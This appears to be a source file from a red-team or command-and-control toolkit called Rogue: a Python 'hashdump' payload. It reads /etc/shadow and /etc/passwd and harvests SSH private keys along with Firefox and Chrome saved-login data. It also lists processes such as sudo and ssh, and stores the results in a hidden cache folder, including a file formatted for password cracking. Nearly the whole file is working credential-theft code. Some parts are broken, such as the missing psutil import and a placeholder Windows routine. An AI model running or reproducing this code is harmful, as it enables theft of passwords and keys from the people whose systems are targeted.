Rogue/hashdump.py
2026-05-31 04:12:28 +00:00

292 lines
12 KiB
Python

#!/usr/bin/env python3
"""
PAYLOAD: Password Hash Extraction Module
DESCRIPTION: Extract password hashes from various sources (Linux/Windows)
AUTHOR: Rogue Red Team
VERSION: 2.1
SECURITY: This tool extracts sensitive credentials - Use only on authorized systems
"""
import os, sys, re, subprocess, json, base64, hashlib, datetime, socket, platform
import shutil, tempfile, struct, sqlite3, binascii, pwd, spwd, getpass
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
class HashDumper:
def __init__(self):
self.results = {
"system_hashes": {},
"shadow_file": None,
"memory_dumps": [],
"browser_credentials": [],
"ssh_keys": [],
"database_dumps": []
}
def dump_linux_hashes(self):
"""Extract Linux password hashes"""
hashes = {}
try:
# Try to read /etc/shadow directly (requires root)
if os.getuid() == 0:
with open('/etc/shadow', 'r') as f:
shadow_content = f.read()
self.results["shadow_file"] = shadow_content
# Parse shadow entries
for line in shadow_content.split('\n'):
if ':' in line:
parts = line.split(':')
if len(parts) >= 2 and parts[1] not in ['', '*', '!', '!!']:
hashes[parts[0]] = parts[1]
else:
# Fallback: use unshadow if available
try:
unshadow_cmd = "unshadow /etc/passwd /etc/shadow 2>/dev/null"
output = subprocess.check_output(unshadow_cmd, shell=True).decode()
for line in output.split('\n'):
if ':' in line:
parts = line.split(':')
if len(parts) >= 2 and parts[1] not in ['x', '*', '!']:
hashes[parts[0]] = parts[1]
except:
pass
# Also get /etc/passwd for user list
with open('/etc/passwd', 'r') as f:
passwd_content = f.read()
self.results["passwd_file"] = passwd_content
except Exception as e:
hashes["error"] = str(e)
return hashes
def dump_windows_hashes(self):
"""Extract Windows password hashes (SAM)"""
hashes = {}
if platform.system() == 'Windows':
try:
# Check for Mimikatz-like functionality
# This is a placeholder - actual implementation requires admin privileges
# and would use techniques like reg save or Volume Shadow Copy
pass
except Exception as e:
hashes["error"] = f"Windows hash extraction failed: {str(e)}"
return hashes
def dump_memory_for_hashes(self):
"""Search memory for password hashes"""
memory_dumps = []
try:
# Check running processes for passwords in memory
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
try:
proc_info = proc.info
# Look for processes that might have passwords
sensitive_processes = ['ssh', 'su', 'sudo', 'passwd', 'mysql', 'psql']
if any(sp in proc_info['name'].lower() for sp in sensitive_processes):
memory_dumps.append({
"pid": proc_info['pid'],
"name": proc_info['name'],
"cmdline": ' '.join(proc_info['cmdline']) if proc_info['cmdline'] else ''
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
except Exception as e:
memory_dumps.append({"error": str(e)})
return memory_dumps
def extract_ssh_keys(self):
"""Find and extract SSH keys"""
ssh_keys = []
try:
# Look for SSH keys in common locations
ssh_paths = [
os.path.expanduser("~/.ssh/"),
"/root/.ssh/",
"/etc/ssh/",
"/home/*/.ssh/",
"/var/www/.ssh/"
]
for path_pattern in ssh_paths:
if '*' in path_pattern:
import glob
expanded_paths = glob.glob(path_pattern)
else:
expanded_paths = [path_pattern]
for path in expanded_paths:
if os.path.exists(path):
for root, dirs, files in os.walk(path):
for file in files:
if file in ['id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys']:
filepath = os.path.join(root, file)
try:
with open(filepath, 'r') as f:
content = f.read()
if "PRIVATE KEY" in content or "ssh-" in content:
ssh_keys.append({
"path": filepath,
"type": "private_key" if "PRIVATE KEY" in content else "public_key",
"content": content[:500] + "..." if len(content) > 500 else content
})
except:
continue
except Exception as e:
ssh_keys.append({"error": str(e)})
return ssh_keys
def dump_browser_credentials(self):
"""Extract credentials from browsers"""
credentials = []
try:
# Firefox credentials
firefox_profiles = self.extract_firefox_credentials()
if firefox_profiles:
credentials.append({"browser": "firefox", "profiles": firefox_profiles})
# Chrome/Chromium credentials
chrome_creds = self.extract_chrome_credentials()
if chrome_creds:
credentials.append({"browser": "chrome", "credentials": chrome_creds})
except Exception as e:
credentials.append({"error": str(e)})
return credentials
def extract_firefox_credentials(self):
"""Extract Firefox logins"""
profiles = []
try:
firefox_path = os.path.expanduser("~/.mozilla/firefox/")
if os.path.exists(firefox_path):
for profile_dir in os.listdir(firefox_path):
if profile_dir.endswith('.default') or profile_dir.endswith('.default-release'):
profile_path = os.path.join(firefox_path, profile_dir)
# Look for logins.json
logins_file = os.path.join(profile_path, 'logins.json')
if os.path.exists(logins_file):
with open(logins_file, 'r') as f:
logins_data = json.load(f)
profiles.append({
"profile": profile_dir,
"logins": logins_data.get("logins", [])[:10] # Limit to first 10
})
# Look for key4.db for decryption key
key_db = os.path.join(profile_path, 'key4.db')
if os.path.exists(key_db):
profiles.append({
"profile": profile_dir,
"key_db": "Present - contains encryption keys"
})
except Exception as e:
profiles.append({"error": f"Firefox extraction failed: {str(e)}"})
return profiles
def extract_chrome_credentials(self):
"""Extract Chrome saved passwords"""
credentials = []
try:
chrome_path = os.path.expanduser("~/.config/google-chrome/Default/Login Data")
if os.path.exists(chrome_path):
# Copy the database to read it
temp_db = tempfile.NamedTemporaryFile(delete=False, suffix='.db').name
shutil.copy2(chrome_path, temp_db)
# Query the database
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
rows = cursor.fetchall()
for row in rows:
url, username, encrypted_password = row
if username:
credentials.append({
"url": url,
"username": username,
"password": f"<encrypted - {len(encrypted_password)} bytes>" if encrypted_password else "<empty>"
})
conn.close()
os.unlink(temp_db)
except Exception as e:
credentials.append({"error": f"Chrome extraction failed: {str(e)}"})
return credentials
def execute(self):
"""Execute all hash dumping operations"""
try:
print("[+] Starting password hash extraction...")
# Run all extractors
self.results["system_hashes"]["linux"] = self.dump_linux_hashes()
self.results["system_hashes"]["windows"] = self.dump_windows_hashes()
self.results["memory_dumps"] = self.dump_memory_for_hashes()
self.results["ssh_keys"] = self.extract_ssh_keys()
self.results["browser_credentials"] = self.dump_browser_credentials()
# Generate summary
summary = {
"timestamp": datetime.datetime.now().isoformat(),
"hostname": socket.gethostname(),
"extracted_hashes": len(self.results["system_hashes"]["linux"]) + len(self.results["system_hashes"]["windows"]),
"ssh_keys_found": len(self.results["ssh_keys"]),
"browser_credentials": sum(len(c.get("profiles", [])) if isinstance(c, dict) else 0 for c in self.results["browser_credentials"]),
"memory_processes": len(self.results["memory_dumps"])
}
# Save detailed results
output_dir = os.path.expanduser("~/.cache/.rogue/hashes")
os.makedirs(output_dir, exist_ok=True)
output_file = os.path.join(output_dir, f"hashdump_{socket.gethostname()}_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json")
with open(output_file, 'w') as f:
json.dump(self.results, f, indent=2, default=str)
# Also save hashes in John the Ripper format
john_file = os.path.join(output_dir, f"hashes_john_{socket.gethostname()}.txt")
with open(john_file, 'w') as f:
for username, hash_val in self.results["system_hashes"]["linux"].items():
if hash_val and hash_val not in ['*', '!', '!!', 'x']:
f.write(f"{username}:{hash_val}\n")
print(f"[+] Hash extraction complete. Results saved to: {output_file}")
print(f"[+] John the Ripper format saved to: {john_file}")
return json.dumps(summary, indent=2)
except Exception as e:
return f"[!] Hash extraction failed: {str(e)}"
# === Integration with Rogue C2 ===
def rogue_integration():
"""Wrapper for Rogue C2 integration"""
dumper = HashDumper()
return dumper.execute()
if __name__ == "__main__":
print(rogue_integration())